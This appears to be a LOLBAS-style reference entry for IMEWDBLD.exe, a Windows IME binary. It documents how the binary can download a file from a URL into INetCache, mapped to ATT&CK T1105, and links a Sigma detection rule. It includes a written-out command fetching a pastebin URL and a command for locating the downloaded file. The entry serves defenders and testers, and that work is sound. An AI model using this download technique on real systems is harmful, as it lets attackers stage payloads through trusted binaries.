.. /IMEWDBLD.exe

Star

Paths:

• C:\Windows\System32\IME\SHARED\IMEWDBLD.exe

Resources:

• https://twitter.com/notwhickey/status/1367493406835040265

Acknowledgements:

• Wade Hickey (@notwhickey)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/bea6f18d350d9c9fdc067f93dde0e9b11cc22dc2/rules/windows/network_connection/net_connection_win_imewdbld.yml

Download

1. IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.

   C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw

   Use case

   Download file from Internet

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache

   INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
   If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
   cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"